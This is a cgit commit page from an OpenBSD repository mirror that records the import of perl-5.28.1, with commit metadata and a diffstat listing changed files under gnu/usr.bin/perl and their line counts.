summaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authorafresh1 <afresh1@openbsd.org>2019-02-13 21:10:38 +0000
committerafresh1 <afresh1@openbsd.org>2019-02-13 21:10:38 +0000
commit5759b3d249badf144a6240f7eec4dcf9df003e6b (patch)
tree88ca2f73bac6772bb3b7819e5ca28614859b0f2c
parentstrsep the -e argument for execve; ok benno (diff)
downloadwireguard-openbsd-5759b3d249badf144a6240f7eec4dcf9df003e6b.tar.xz
wireguard-openbsd-5759b3d249badf144a6240f7eec4dcf9df003e6b.zip
Import perl-5.28.1
looking good sthen@, Great! bluhm@
-rw-r--r--gnu/usr.bin/perl/.metaconf-exclusions.txt26
-rw-r--r--gnu/usr.bin/perl/.travis.yml70
-rw-r--r--gnu/usr.bin/perl/Cross/generate_config_sh2
-rw-r--r--gnu/usr.bin/perl/NetWare/config_h.PL4
-rw-r--r--gnu/usr.bin/perl/NetWare/config_sh.PL4
-rw-r--r--gnu/usr.bin/perl/NetWare/interface.c15
-rw-r--r--gnu/usr.bin/perl/NetWare/interface.cpp16
-rw-r--r--gnu/usr.bin/perl/NetWare/interface.h2
-rw-r--r--gnu/usr.bin/perl/NetWare/iperlhost.h2
-rw-r--r--gnu/usr.bin/perl/NetWare/t/NWModify.pl2
-rw-r--r--gnu/usr.bin/perl/NetWare/t/NWScripts.pl8
-rw-r--r--gnu/usr.bin/perl/PACKAGING50
-rw-r--r--gnu/usr.bin/perl/Porting/Maintainers.pm13
-rw-r--r--gnu/usr.bin/perl/Porting/acknowledgements.pl4
-rwxr-xr-xgnu/usr.bin/perl/Porting/bench.pl1135
-rw-r--r--gnu/usr.bin/perl/Porting/check83.pl2
-rw-r--r--gnu/usr.bin/perl/Porting/checkVERSION.pl2
-rwxr-xr-xgnu/usr.bin/perl/Porting/checkansi.pl2
-rwxr-xr-xgnu/usr.bin/perl/Porting/checkcfguse.pl6
-rwxr-xr-xgnu/usr.bin/perl/Porting/config_h.pl4
-rw-r--r--gnu/usr.bin/perl/Porting/corecpan.pl2
-rw-r--r--gnu/usr.bin/perl/Porting/deparse-skips.txt273
-rwxr-xr-xgnu/usr.bin/perl/Porting/harness-timer-report.pl269
-rw-r--r--gnu/usr.bin/perl/Porting/leakfinder.pl6
-rw-r--r--gnu/usr.bin/perl/Porting/make-rmg-checklist257
-rw-r--r--gnu/usr.bin/perl/Porting/make_modlib_cpan.pl117
-rw-r--r--gnu/usr.bin/perl/Porting/manicheck2
-rw-r--r--gnu/usr.bin/perl/Porting/manifest_lib.pl53
-rw-r--r--gnu/usr.bin/perl/Porting/manisort12
-rwxr-xr-xgnu/usr.bin/perl/Porting/mksample33
-rw-r--r--gnu/usr.bin/perl/README.freebsd10
-rw-r--r--gnu/usr.bin/perl/README.jp4
-rw-r--r--gnu/usr.bin/perl/README.tw4
-rw-r--r--gnu/usr.bin/perl/amigaos4/amigaio.c68
-rwxr-xr-xgnu/usr.bin/perl/cpan/Archive-Tar/t/04_resolved_issues.t32
-rw-r--r--gnu/usr.bin/perl/cpan/Archive-Tar/t/09_roundtrip.t230
-rw-r--r--gnu/usr.bin/perl/cpan/CPAN-Meta/corpus/BadMETA.yml24
-rw-r--r--gnu/usr.bin/perl/cpan/CPAN-Meta/corpus/CL018_yaml.meta75
-rw-r--r--gnu/usr.bin/perl/cpan/CPAN-Meta/corpus/META-VR.json33
-rw-r--r--gnu/usr.bin/perl/cpan/CPAN-Meta/corpus/META-VR.yml24
-rw-r--r--gnu/usr.bin/perl/cpan/CPAN-Meta/corpus/bareyaml.meta23
-rw-r--r--gnu/usr.bin/perl/cpan/CPAN-Meta/corpus/json.meta33
-rw-r--r--gnu/usr.bin/perl/cpan/CPAN-Meta/corpus/yaml.meta24
-rw-r--r--gnu/usr.bin/perl/cpan/CPAN-Meta/lib/CPAN/Meta/History/Meta_1_0.pod50
-rw-r--r--gnu/usr.bin/perl/cpan/CPAN-Meta/lib/CPAN/Meta/History/Meta_1_1.pod50
-rw-r--r--gnu/usr.bin/perl/cpan/CPAN-Meta/lib/CPAN/Meta/History/Meta_1_2.pod104
-rw-r--r--gnu/usr.bin/perl/cpan/CPAN-Meta/lib/CPAN/Meta/History/Meta_1_3.pod122
-rw-r--r--gnu/usr.bin/perl/cpan/CPAN-Meta/lib/CPAN/Meta/History/Meta_1_4.pod149
-rw-r--r--gnu/usr.bin/perl/cpan/CPAN-Meta/lib/CPAN/Meta/Merge.pm68
-rw-r--r--gnu/usr.bin/perl/cpan/CPAN-Meta/lib/Parse/CPAN/Meta.pm370
-rw-r--r--gnu/usr.bin/perl/cpan/CPAN-Meta/t/README-data.txt15
-rw-r--r--gnu/usr.bin/perl/cpan/CPAN-Meta/t/converter-fragments.t5
-rw-r--r--gnu/usr.bin/perl/cpan/CPAN-Meta/t/data-test/x_deprecated-META.json148
-rw-r--r--gnu/usr.bin/perl/cpan/CPAN-Meta/t/data-valid/META-1_4.yml49
-rw-r--r--gnu/usr.bin/perl/cpan/CPAN-Meta/t/data-valid/META-2.json82
-rw-r--r--gnu/usr.bin/perl/cpan/CPAN-Meta/t/data-valid/x_deprecated-META.yml91
-rw-r--r--gnu/usr.bin/perl/cpan/CPAN-Meta/t/lib/Parse/CPAN/Meta/Test.pm85
-rw-r--r--gnu/usr.bin/perl/cpan/CPAN-Meta/t/optional_feature-merge.t5
-rw-r--r--gnu/usr.bin/perl/cpan/CPAN-Meta/t/parse-cpan-meta/02_api.t220
-rw-r--r--gnu/usr.bin/perl/cpan/CPAN-Meta/t/parse-cpan-meta/03_functions.t33
-rw-r--r--gnu/usr.bin/perl/cpan/CPAN-Meta/t/parse-cpan-meta/04_export.t22
-rw-r--r--gnu/usr.bin/perl/cpan/CPAN-Meta/t/parse-cpan-meta/05_errors.t24
-rw-r--r--gnu/usr.bin/perl/cpan/CPAN/lib/CPAN/Plugin.pm6
-rw-r--r--gnu/usr.bin/perl/cpan/Compress-Raw-Bzip2/Makefile.PL1
-rw-r--r--gnu/usr.bin/perl/cpan/Compress-Raw-Bzip2/t/compress/CompTestUtils.pm17
-rw-r--r--gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/Makefile.PL6
-rw-r--r--gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/config.in1
-rwxr-xr-xgnu/usr.bin/perl/cpan/Compress-Raw-Zlib/t/02zlib.t42
-rw-r--r--gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/t/compress/CompTestUtils.pm17
-rw-r--r--gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/typemap3
-rw-r--r--gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/zlib-src/infback.c5
-rw-r--r--gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/zlib-src/inffast.c85
-rw-r--r--gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/zlib-src/inflate.h11
-rw-r--r--gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/zlib-src/inftrees.c26
-rw-r--r--gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/zlib-src/zlib.h452
-rw-r--r--gnu/usr.bin/perl/cpan/Config-Perl-V/t/27_plv5202.t7
-rw-r--r--gnu/usr.bin/perl/cpan/Config-Perl-V/t/28_plv5220.t7
-rw-r--r--gnu/usr.bin/perl/cpan/Config-Perl-V/t/28_plv52201w.t7
-rw-r--r--gnu/usr.bin/perl/cpan/Config-Perl-V/t/29_plv5235w.t123
-rw-r--r--gnu/usr.bin/perl/cpan/Config-Perl-V/t/30_plv5240.t132
-rw-r--r--gnu/usr.bin/perl/cpan/Config-Perl-V/t/31_plv52511.t187
-rw-r--r--gnu/usr.bin/perl/cpan/Config-Perl-V/t/32_plv5261rc1.t183
-rw-r--r--gnu/usr.bin/perl/cpan/Config-Perl-V/t/33_plv52711r.t183
-rwxr-xr-xgnu/usr.bin/perl/cpan/DB_File/t/db-btree.t60
-rwxr-xr-xgnu/usr.bin/perl/cpan/Digest-SHA/t/allfcns.t36
-rwxr-xr-xgnu/usr.bin/perl/cpan/Digest-SHA/t/base64.t18
-rwxr-xr-xgnu/usr.bin/perl/cpan/Digest-SHA/t/bitbuf.t22
-rw-r--r--gnu/usr.bin/perl/cpan/Digest-SHA/t/bitorder.t35
-rw-r--r--gnu/usr.bin/perl/cpan/Digest-SHA/t/fips180-4.t17
-rwxr-xr-xgnu/usr.bin/perl/cpan/Digest-SHA/t/fips198.t16
-rwxr-xr-xgnu/usr.bin/perl/cpan/Digest-SHA/t/gg.t18
-rwxr-xr-xgnu/usr.bin/perl/cpan/Digest-SHA/t/gglong.t20
-rwxr-xr-xgnu/usr.bin/perl/cpan/Digest-SHA/t/hmacsha.t16
-rw-r--r--gnu/usr.bin/perl/cpan/Digest-SHA/t/inheritance.t18
-rwxr-xr-xgnu/usr.bin/perl/cpan/Digest-SHA/t/ireland.t22
-rwxr-xr-xgnu/usr.bin/perl/cpan/Digest-SHA/t/nistbit.t18
-rwxr-xr-xgnu/usr.bin/perl/cpan/Digest-SHA/t/nistbyte.t18
-rwxr-xr-xgnu/usr.bin/perl/cpan/Digest-SHA/t/rfc2202.t16
-rwxr-xr-xgnu/usr.bin/perl/cpan/Digest-SHA/t/sha1.t17
-rwxr-xr-xgnu/usr.bin/perl/cpan/Digest-SHA/t/sha224.t17
-rwxr-xr-xgnu/usr.bin/perl/cpan/Digest-SHA/t/sha256.t17
-rwxr-xr-xgnu/usr.bin/perl/cpan/Digest-SHA/t/sha384.t17
-rwxr-xr-xgnu/usr.bin/perl/cpan/Digest-SHA/t/sha512.t17
-rw-r--r--gnu/usr.bin/perl/cpan/Digest-SHA/t/state.t18
-rw-r--r--gnu/usr.bin/perl/cpan/Digest-SHA/t/unicode.t16
-rw-r--r--gnu/usr.bin/perl/cpan/Encode/Encode/_T.e2x6
-rw-r--r--gnu/usr.bin/perl/cpan/Encode/Encode/encode.h7
-rw-r--r--gnu/usr.bin/perl/cpan/Encode/Unicode/Makefile.PL2
-rw-r--r--gnu/usr.bin/perl/cpan/Encode/bin/encguess2
-rwxr-xr-xgnu/usr.bin/perl/cpan/Encode/t/CJKT.t6
-rwxr-xr-xgnu/usr.bin/perl/cpan/Encode/t/Encode.t113
-rwxr-xr-xgnu/usr.bin/perl/cpan/Encode/t/at-cn.t4
-rwxr-xr-xgnu/usr.bin/perl/cpan/Encode/t/at-tw.t4
-rw-r--r--gnu/usr.bin/perl/cpan/Encode/t/cow.t11
-rw-r--r--gnu/usr.bin/perl/cpan/Encode/t/decode.t69
-rw-r--r--gnu/usr.bin/perl/cpan/Encode/t/encoding-locale.t7
-rwxr-xr-xgnu/usr.bin/perl/cpan/Encode/t/fallback.t42
-rwxr-xr-xgnu/usr.bin/perl/cpan/Encode/t/guess.t6
-rw-r--r--gnu/usr.bin/perl/cpan/Encode/t/magic.t144
-rw-r--r--gnu/usr.bin/perl/cpan/Encode/t/rt113164.t38
-rw-r--r--gnu/usr.bin/perl/cpan/Encode/t/rt65541.t29
-rw-r--r--gnu/usr.bin/perl/cpan/Encode/t/rt76824.t60
-rw-r--r--gnu/usr.bin/perl/cpan/Encode/t/rt85489.t48
-rw-r--r--gnu/usr.bin/perl/cpan/Encode/t/rt86327.t33
-rw-r--r--gnu/usr.bin/perl/cpan/Encode/t/truncated_utf8.t55
-rw-r--r--gnu/usr.bin/perl/cpan/Encode/t/undef.t25
-rw-r--r--gnu/usr.bin/perl/cpan/Encode/t/use-Encode-Alias.t8
-rw-r--r--gnu/usr.bin/perl/cpan/Encode/t/utf8messages.t33
-rw-r--r--gnu/usr.bin/perl/cpan/Encode/t/utf8ref.t21
-rwxr-xr-xgnu/usr.bin/perl/cpan/Encode/t/utf8strict.t51
-rw-r--r--gnu/usr.bin/perl/cpan/Encode/t/utf8warnings.t32
-rw-r--r--gnu/usr.bin/perl/cpan/Encode/t/whatwg-aliases.json455
-rw-r--r--gnu/usr.bin/perl/cpan/Encode/t/whatwg-aliases.t66
-rw-r--r--gnu/usr.bin/perl/cpan/ExtUtils-Constant/lib/ExtUtils/Constant.pm10
-rw-r--r--gnu/usr.bin/perl/cpan/ExtUtils-Constant/lib/ExtUtils/Constant/Base.pm7
-rw-r--r--gnu/usr.bin/perl/cpan/ExtUtils-Constant/lib/ExtUtils/Constant/ProxySubs.pm32
-rw-r--r--gnu/usr.bin/perl/cpan/ExtUtils-Constant/lib/ExtUtils/Constant/Utils.pm4
-rw-r--r--gnu/usr.bin/perl/cpan/ExtUtils-Install/lib/ExtUtils/Installed.pm2
-rw-r--r--gnu/usr.bin/perl/cpan/ExtUtils-Install/lib/ExtUtils/Packlist.pm2
-rw-r--r--gnu/usr.bin/perl/cpan/ExtUtils-Install/t/Install.t14
-rw-r--r--gnu/usr.bin/perl/cpan/ExtUtils-Install/t/InstallWithMM.t2
-rw-r--r--gnu/usr.bin/perl/cpan/ExtUtils-Install/t/Installed.t3
-rw-r--r--gnu/usr.bin/perl/cpan/ExtUtils-Install/t/lib/MakeMaker/Test/Setup/BFD.pm12
-rw-r--r--gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Command.pm3
-rw-r--r--gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/Locale.pm19
-rw-r--r--gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/version.pm5
-rw-r--r--gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/version/regex.pm3
-rw-r--r--gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/01perl_bugs.t4
-rw-r--r--gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/02-xsdynamic.t23
-rw-r--r--gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/03-xsstatic.t30
-rwxr-xr-xgnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/INST.t16
-rwxr-xr-xgnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/INST_PREFIX.t16
-rwxr-xr-xgnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/MM_Cygwin.t2
-rwxr-xr-xgnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/MM_NW5.t2
-rwxr-xr-xgnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/MM_OS2.t2
-rwxr-xr-xgnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/MM_Win32.t23
-rwxr-xr-xgnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/Mkbootstrap.t2
-rwxr-xr-xgnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/WriteEmptyMakefile.t1
-rwxr-xr-xgnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/build_man.t37
-rwxr-xr-xgnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/dir_target.t1
-rwxr-xr-xgnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/fixin.t10
-rwxr-xr-xgnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/hints.t4
-rwxr-xr-xgnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/installed_file.t5
-rw-r--r--gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/lib/MakeMaker/Test/Setup/BFD.pm16
-rwxr-xr-xgnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/metafile_data.t809
-rw-r--r--gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/os_unsupported.t15
-rw-r--r--gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/parse_abstract.t21
-rwxr-xr-xgnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/prereq_print.t11
-rwxr-xr-xgnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/problems.t29
-rwxr-xr-xgnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/prompt.t21
-rwxr-xr-xgnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/test_boilerplate.t6
-rw-r--r--gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/unicode.t69
-rw-r--r--gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/vstrings.t86
-rwxr-xr-xgnu/usr.bin/perl/cpan/File-Fetch/t/01_File-Fetch.t25
-rw-r--r--gnu/usr.bin/perl/cpan/Filter-Util-Call/t/rt_101033.t2
-rw-r--r--gnu/usr.bin/perl/cpan/Filter-Util-Call/t/rt_54452-rebless.t3
-rw-r--r--gnu/usr.bin/perl/cpan/HTTP-Tiny/corpus/get-02.txt4
-rw-r--r--gnu/usr.bin/perl/cpan/HTTP-Tiny/corpus/get-22.txt10
-rw-r--r--gnu/usr.bin/perl/cpan/HTTP-Tiny/t/004_timeout.t38
-rw-r--r--gnu/usr.bin/perl/cpan/HTTP-Tiny/t/030_response.t3
-rw-r--r--gnu/usr.bin/perl/cpan/HTTP-Tiny/t/040_content.t3
-rw-r--r--gnu/usr.bin/perl/cpan/HTTP-Tiny/t/050_chunked_body.t36
-rw-r--r--gnu/usr.bin/perl/cpan/HTTP-Tiny/t/070_cookie_jar.t11
-rw-r--r--gnu/usr.bin/perl/cpan/HTTP-Tiny/t/BrokenCookieJar.pm4
-rw-r--r--gnu/usr.bin/perl/cpan/HTTP-Tiny/t/SimpleCookieJar.pm2
-rw-r--r--gnu/usr.bin/perl/cpan/IO-Compress/t/compress/CompTestUtils.pm17
-rw-r--r--gnu/usr.bin/perl/cpan/IO-Compress/t/compress/encode.pl2
-rw-r--r--gnu/usr.bin/perl/cpan/IPC-Cmd/t/03_run-forked.t1
-rw-r--r--gnu/usr.bin/perl/cpan/JSON-PP/lib/JSON/PP/Boolean.pm23
-rw-r--r--gnu/usr.bin/perl/cpan/JSON-PP/t/001_utf8.t2
-rw-r--r--gnu/usr.bin/perl/cpan/JSON-PP/t/002_error.t2
-rw-r--r--gnu/usr.bin/perl/cpan/JSON-PP/t/003_types.t6
-rw-r--r--gnu/usr.bin/perl/cpan/JSON-PP/t/006_pc_pretty.t6
-rw-r--r--gnu/usr.bin/perl/cpan/JSON-PP/t/007_pc_esc.t10
-rw-r--r--gnu/usr.bin/perl/cpan/JSON-PP/t/008_pc_base.t4
-rw-r--r--gnu/usr.bin/perl/cpan/JSON-PP/t/009_pc_extra_number.t4
-rw-r--r--gnu/usr.bin/perl/cpan/JSON-PP/t/010_pc_keysort.t4
-rw-r--r--gnu/usr.bin/perl/cpan/JSON-PP/t/011_pc_expo.t29
-rw-r--r--gnu/usr.bin/perl/cpan/JSON-PP/t/012_blessed.t2
-rw-r--r--gnu/usr.bin/perl/cpan/JSON-PP/t/014_latin1.t2
-rw-r--r--gnu/usr.bin/perl/cpan/JSON-PP/t/015_prefix.t2
-rw-r--r--gnu/usr.bin/perl/cpan/JSON-PP/t/016_tied.t2
-rw-r--r--gnu/usr.bin/perl/cpan/JSON-PP/t/017_relaxed.t2
-rw-r--r--gnu/usr.bin/perl/cpan/JSON-PP/t/018_json_checker.t11
-rw-r--r--gnu/usr.bin/perl/cpan/JSON-PP/t/019_incr.t4
-rw-r--r--gnu/usr.bin/perl/cpan/JSON-PP/t/020_unknown.t4
-rw-r--r--gnu/usr.bin/perl/cpan/JSON-PP/t/021_evans_bugrep.t2
-rw-r--r--gnu/usr.bin/perl/cpan/JSON-PP/t/099_binary.t4
-rw-r--r--gnu/usr.bin/perl/cpan/JSON-PP/t/108_decode.t2
-rw-r--r--gnu/usr.bin/perl/cpan/JSON-PP/t/110_bignum.t19
-rw-r--r--gnu/usr.bin/perl/cpan/JSON-PP/t/113_overloaded_eq.t2
-rw-r--r--gnu/usr.bin/perl/cpan/JSON-PP/t/114_decode_prefix.t2
-rw-r--r--gnu/usr.bin/perl/cpan/JSON-PP/t/116_incr_parse_fixed.t2
-rw-r--r--gnu/usr.bin/perl/cpan/JSON-PP/t/117_numbers.t23
-rw-r--r--gnu/usr.bin/perl/cpan/JSON-PP/t/gh_28_json_test_suite.t59
-rw-r--r--gnu/usr.bin/perl/cpan/JSON-PP/t/gh_29_trailing_false_value.t13
-rw-r--r--gnu/usr.bin/perl/cpan/JSON-PP/t/rt_116998_wrong_character_offset.t22
-rw-r--r--gnu/usr.bin/perl/cpan/JSON-PP/t/rt_90071_incr_parse.t29
-rw-r--r--gnu/usr.bin/perl/cpan/JSON-PP/t/zero-mojibake.t2
-rw-r--r--gnu/usr.bin/perl/cpan/Locale-Codes/lib/Locale/Codes/Types.pod414
-rw-r--r--gnu/usr.bin/perl/cpan/Locale-Codes/t/country_func.t27
-rw-r--r--gnu/usr.bin/perl/cpan/Locale-Codes/t/country_oo.t27
-rw-r--r--gnu/usr.bin/perl/cpan/Locale-Codes/t/currency_func.t27
-rw-r--r--gnu/usr.bin/perl/cpan/Locale-Codes/t/currency_old.t27
-rw-r--r--gnu/usr.bin/perl/cpan/Locale-Codes/t/currency_oo.t27
-rw-r--r--gnu/usr.bin/perl/cpan/Locale-Codes/t/do_tests.pl370
-rw-r--r--gnu/usr.bin/perl/cpan/Locale-Codes/t/errors.1.t27
-rw-r--r--gnu/usr.bin/perl/cpan/Locale-Codes/t/errors.2.t27
-rw-r--r--gnu/usr.bin/perl/cpan/Locale-Codes/t/langext_func.t27
-rw-r--r--gnu/usr.bin/perl/cpan/Locale-Codes/t/langext_oo.t27
-rw-r--r--gnu/usr.bin/perl/cpan/Locale-Codes/t/langfam_func.t27
-rw-r--r--gnu/usr.bin/perl/cpan/Locale-Codes/t/langfam_oo.t27
-rw-r--r--gnu/usr.bin/perl/cpan/Locale-Codes/t/language_func.t27
-rw-r--r--gnu/usr.bin/perl/cpan/Locale-Codes/t/language_old.t92
-rw-r--r--gnu/usr.bin/perl/cpan/Locale-Codes/t/language_oo.t27
-rw-r--r--gnu/usr.bin/perl/cpan/Locale-Codes/t/langvar_func.t27
-rw-r--r--gnu/usr.bin/perl/cpan/Locale-Codes/t/langvar_oo.t27
-rw-r--r--gnu/usr.bin/perl/cpan/Locale-Codes/t/script_func.t27
-rw-r--r--gnu/usr.bin/perl/cpan/Locale-Codes/t/script_old.t27
-rw-r--r--gnu/usr.bin/perl/cpan/Locale-Codes/t/script_oo.t27
-rw-r--r--gnu/usr.bin/perl/cpan/Locale-Codes/t/vals_country.pl969
-rw-r--r--gnu/usr.bin/perl/cpan/Locale-Codes/t/vals_currency.pl128
-rw-r--r--gnu/usr.bin/perl/cpan/Locale-Codes/t/vals_error.pl52
-rw-r--r--gnu/usr.bin/perl/cpan/Locale-Codes/t/vals_langext.pl52
-rw-r--r--gnu/usr.bin/perl/cpan/Locale-Codes/t/vals_langfam.pl53
-rw-r--r--gnu/usr.bin/perl/cpan/Locale-Codes/t/vals_language.pl311
-rw-r--r--gnu/usr.bin/perl/cpan/Locale-Codes/t/vals_langvar.pl52
-rw-r--r--gnu/usr.bin/perl/cpan/Locale-Codes/t/vals_script.pl65
-rw-r--r--gnu/usr.bin/perl/cpan/Math-BigInt-FastCalc/lib/Math/BigInt/FastCalc.pm59
-rw-r--r--gnu/usr.bin/perl/cpan/Math-BigInt-FastCalc/t/biglog.t244
-rw-r--r--gnu/usr.bin/perl/cpan/Math-BigInt-FastCalc/t/bigroot.t53
-rw-r--r--gnu/usr.bin/perl/cpan/Math-BigInt/lib/Math/BigInt/Lib.pm2070
-rw-r--r--gnu/usr.bin/perl/cpan/Math-BigInt/t/Math/BigInt/Lib/Minimal.pm1018
-rw-r--r--gnu/usr.bin/perl/cpan/Math-BigInt/t/Math/BigInt/Lib/TestUtil.pm39
-rw-r--r--gnu/usr.bin/perl/cpan/Math-BigInt/t/bdstr-mbf.t275
-rw-r--r--gnu/usr.bin/perl/cpan/Math-BigInt/t/bdstr-mbi.t155
-rw-r--r--gnu/usr.bin/perl/cpan/Math-BigInt/t/bestr-mbf.t275
-rw-r--r--gnu/usr.bin/perl/cpan/Math-BigInt/t/bestr-mbi.t155
-rw-r--r--gnu/usr.bin/perl/cpan/Math-BigInt/t/bfib-mbi.t86
-rw-r--r--gnu/usr.bin/perl/cpan/Math-BigInt/t/blucas-mbi.t86
-rw-r--r--gnu/usr.bin/perl/cpan/Math-BigInt/t/bnstr-mbf.t278
-rw-r--r--gnu/usr.bin/perl/cpan/Math-BigInt/t/bnstr-mbi.t158
-rw-r--r--gnu/usr.bin/perl/cpan/Math-BigInt/t/bsstr-mbf.t275
-rw-r--r--gnu/usr.bin/perl/cpan/Math-BigInt/t/bsstr-mbi.t158
-rw-r--r--gnu/usr.bin/perl/cpan/Math-BigInt/t/calling-class-methods.t119
-rw-r--r--gnu/usr.bin/perl/cpan/Math-BigInt/t/calling-instance-methods.t119
-rw-r--r--gnu/usr.bin/perl/cpan/Math-BigInt/t/dparts-mbf.t294
-rw-r--r--gnu/usr.bin/perl/cpan/Math-BigInt/t/dparts-mbi.t162
-rw-r--r--gnu/usr.bin/perl/cpan/Math-BigInt/t/eparts-mbf.t294
-rw-r--r--gnu/usr.bin/perl/cpan/Math-BigInt/t/eparts-mbi.t162
-rw-r--r--gnu/usr.bin/perl/cpan/Math-BigInt/t/from_bin-mbf.t102
-rw-r--r--gnu/usr.bin/perl/cpan/Math-BigInt/t/from_bin-mbi.t128
-rw-r--r--gnu/usr.bin/perl/cpan/Math-BigInt/t/from_hex-mbf.t57
-rw-r--r--gnu/usr.bin/perl/cpan/Math-BigInt/t/from_hex-mbi.t128
-rw-r--r--gnu/usr.bin/perl/cpan/Math-BigInt/t/from_oct-mbf.t102
-rw-r--r--gnu/usr.bin/perl/cpan/Math-BigInt/t/from_oct-mbi.t128
-rw-r--r--gnu/usr.bin/perl/cpan/Math-BigInt/t/new-mbf.t119
-rw-r--r--gnu/usr.bin/perl/cpan/Math-BigInt/t/nparts-mbf.t294
-rw-r--r--gnu/usr.bin/perl/cpan/Math-BigInt/t/nparts-mbi.t162
-rw-r--r--gnu/usr.bin/perl/cpan/Math-BigInt/t/sparts-mbf.t294
-rw-r--r--gnu/usr.bin/perl/cpan/Math-BigInt/t/sparts-mbi.t162
-rw-r--r--gnu/usr.bin/perl/cpan/Math-BigRat/t/bitwise.t45
-rw-r--r--gnu/usr.bin/perl/cpan/Math-BigRat/t/rt121139.t16
-rw-r--r--gnu/usr.bin/perl/cpan/Math-Complex/lib/Math/Complex.pm42
-rwxr-xr-xgnu/usr.bin/perl/cpan/Math-Complex/t/Complex.t10
-rwxr-xr-xgnu/usr.bin/perl/cpan/Math-Complex/t/Trig.t30
-rw-r--r--gnu/usr.bin/perl/cpan/Module-Metadata/t/extract-package.t28
-rw-r--r--gnu/usr.bin/perl/cpan/Module-Metadata/t/extract-version.t27
-rwxr-xr-xgnu/usr.bin/perl/cpan/NEXT/t/next.t23
-rw-r--r--gnu/usr.bin/perl/cpan/Pod-Checker/lib/Pod/Checker.pm2420
-rw-r--r--gnu/usr.bin/perl/cpan/Pod-Checker/scripts/podchecker.PL371
-rw-r--r--gnu/usr.bin/perl/cpan/Pod-Checker/t/pod/contains_bad_pod.xr10
-rw-r--r--gnu/usr.bin/perl/cpan/Pod-Checker/t/pod/podchkenc.t58
-rw-r--r--gnu/usr.bin/perl/cpan/Pod-Checker/t/pod/podchkenc.xr2
-rw-r--r--gnu/usr.bin/perl/cpan/Pod-Checker/t/pod/podchklink.t275
-rw-r--r--gnu/usr.bin/perl/cpan/Pod-Checker/t/pod/poderrs.t565
-rw-r--r--gnu/usr.bin/perl/cpan/Pod-Checker/t/pod/poderrs.xr131
-rw-r--r--gnu/usr.bin/perl/cpan/Pod-Checker/t/pod/selfcheck.t90
-rw-r--r--gnu/usr.bin/perl/cpan/Pod-Checker/t/pod/testcmp.pl188
-rw-r--r--gnu/usr.bin/perl/cpan/Pod-Checker/t/pod/testpchk.pl261
-rw-r--r--gnu/usr.bin/perl/cpan/Pod-Perldoc/perldoc.pod26
-rw-r--r--gnu/usr.bin/perl/cpan/Pod-Perldoc/t/00_load.t23
-rw-r--r--gnu/usr.bin/perl/cpan/Pod-Perldoc/t/01_about_verbose.t79
-rw-r--r--gnu/usr.bin/perl/cpan/Pod-Usage/t/inc/Pod/InputObjects.pm942
-rw-r--r--gnu/usr.bin/perl/cpan/Pod-Usage/t/inc/Pod/Parser.pm1836
-rw-r--r--gnu/usr.bin/perl/cpan/Pod-Usage/t/inc/Pod/PlainText.pm744
-rw-r--r--gnu/usr.bin/perl/cpan/Pod-Usage/t/inc/Pod/Select.pm748
-rw-r--r--gnu/usr.bin/perl/cpan/Scalar-List-Utils/Makefile.PL20
-rw-r--r--gnu/usr.bin/perl/cpan/Scalar-List-Utils/lib/Sub/Util.pm4
-rw-r--r--gnu/usr.bin/perl/cpan/Scalar-List-Utils/t/exotic_names.t122
-rw-r--r--gnu/usr.bin/perl/cpan/Scalar-List-Utils/t/head-tail.t97
-rw-r--r--gnu/usr.bin/perl/cpan/Scalar-List-Utils/t/rt-96343.t33
-rw-r--r--gnu/usr.bin/perl/cpan/Scalar-List-Utils/t/uniq.t222
-rw-r--r--gnu/usr.bin/perl/cpan/Socket/t/sockaddr.t48
-rw-r--r--gnu/usr.bin/perl/cpan/Sys-Syslog/Syslog.xs3
-rwxr-xr-xgnu/usr.bin/perl/cpan/Sys-Syslog/t/syslog.t9
-rw-r--r--gnu/usr.bin/perl/cpan/Term-ANSIColor/lib/Term/ANSIColor.pm94
-rw-r--r--gnu/usr.bin/perl/cpan/Term-ANSIColor/t/lib/Test/RRA.pm151
-rw-r--r--gnu/usr.bin/perl/cpan/Term-ANSIColor/t/lib/Test/RRA/Config.pm148
-rw-r--r--gnu/usr.bin/perl/cpan/Term-ANSIColor/t/module/basic256.t20
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Harness/t/env_opts.t66
